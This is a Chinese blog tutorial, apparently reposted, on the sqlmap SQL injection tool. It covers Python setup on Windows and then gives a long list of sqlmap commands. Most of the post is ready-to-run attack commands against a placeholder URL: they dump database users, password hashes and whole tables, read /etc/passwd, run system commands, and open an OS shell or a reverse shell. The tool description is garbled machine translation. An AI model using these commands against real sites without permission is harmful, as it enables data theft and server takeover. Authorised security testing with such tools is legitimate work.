当前位置: 代码迷 >> SQL >> sql注入检测好工具sql地图
  详细解决方案

sql注入检测好工具sql地图

热度:79   发布时间:2016-05-05 12:19:06.0
sql注入检测好工具sqlmap

在WooYun上面看到了有人用Sqlmap检测http链接是否存在sql注入,于是趁机学习了一把sqlmap,现把自己在学习中碰到的一些问题分享给大家。

转载请注明原文链接:http://blog.csdn.net/kaosini/article/details/8727653

Sqlmap简介

sqlmap 是一个自动SQL 射入工具。它是可胜任执行一个广泛的数据库管理系统后端指印, 检索遥远的DBMS 数据库, usernames, 桌, 专栏, 列举整个DBMS, 读了系统文件和利用导致SQL 射入弱点的网应用编程的安全漏洞。 

sqlmap下载地址:http://jjidc.jb51.net:81/201210/tools/sqlmap_jb51.rar

想要运行sqlmap,必须安装python环境 


Python环境安装及配置

Python 2.7.3 官方安装版(http://www.jb51.net/softs/2293.html)

默认情况下,在windows下安装python之后,系统并不会自动添加相应的环境变量。此时不能在命令行直接使用python命令。
1. 首先需要在系统中注册python环境变量:假设python的安装路径为c:\python2.6,则修改我的电脑->属性->高级->环境变量->系统变量中的PATH为:
(为了在命令行模式下运行Python命令,需要将python.exe所在的目录附加到PATH这个环境变量中。)
PATH=PATH;c:\python26
上述环境变量设置成功之后,就可以在命令行直接使用python命令。或执行"python *.py"运行python脚本了。
2. 此时,还是只能通过"python *.py"运行python脚本,若希望直接运行*.py,只需再修改另一个环境变量PATHEXT:

 PATHEXT=PATHEXT;.PY;.PYM


Sqlmap注意事项及用法


注意事项

1.运行py文件后,您可能会碰到一下错误:failed to set __main__.__loader__,这个是一个bug,py文件不能放在含有中文的路径下,果然将py文件放到纯英文路径下就没问题了。

2.sqlmap遇到url重写的时候怎么办?

在需要注入的参数后面,注入就加上 * 号
例:
sqlmap.py -u “http://www.expbug.com id1/1*/id2/2″
sqlmap.py -u "http://www.expbug.com/339*.html"

sqlmap.py -u "http://www.abc.com/a.aspx?name=abc"  --current-user --current-db


用法

sqlmap -u “http://url/news?id=1″ --dbms “Mysql” –users # dbms 指定数 据库类型
sqlmap -u “http://url/news?id=1″--users #列数据库用户
sqlmap -u “http://url/news?id=1″--dbs#列数据库
sqlmap -u “http://url/news?id=1″--passwords #数据库用户密码
sqlmap -u “http://url/news?id=1″--passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap  -u  “http://url/news?id=1″  --dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news?id=1″--dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news?id=1″--privileges #查看权限
sqlmap -u “http://url/news?id=1″--privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news?id=1″--udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news?id=1″--dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news?id=1″--union-cols #union 查询表记录
sqlmap -u “http://url/news?id=1″--cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″--b #获取banner信息
sqlmap -u “http://url/news?id=1″--data “id=3″#post注入
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1″--proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″--string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news?id=1″--sql-shell #执行指定sql命令
sqlmap -u “http://url/news?id=1″--file /etc/passwd
sqlmap -u “http://url/news?id=1″--os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news?id=1″--os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news?id=1″--reg-read #读取win系统注册表
sqlmap -u “http://url/news?id=1″--dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news?id=1″--dbs -o “sqlmap.log” –resume #恢复 已保存进度
  相关解决方案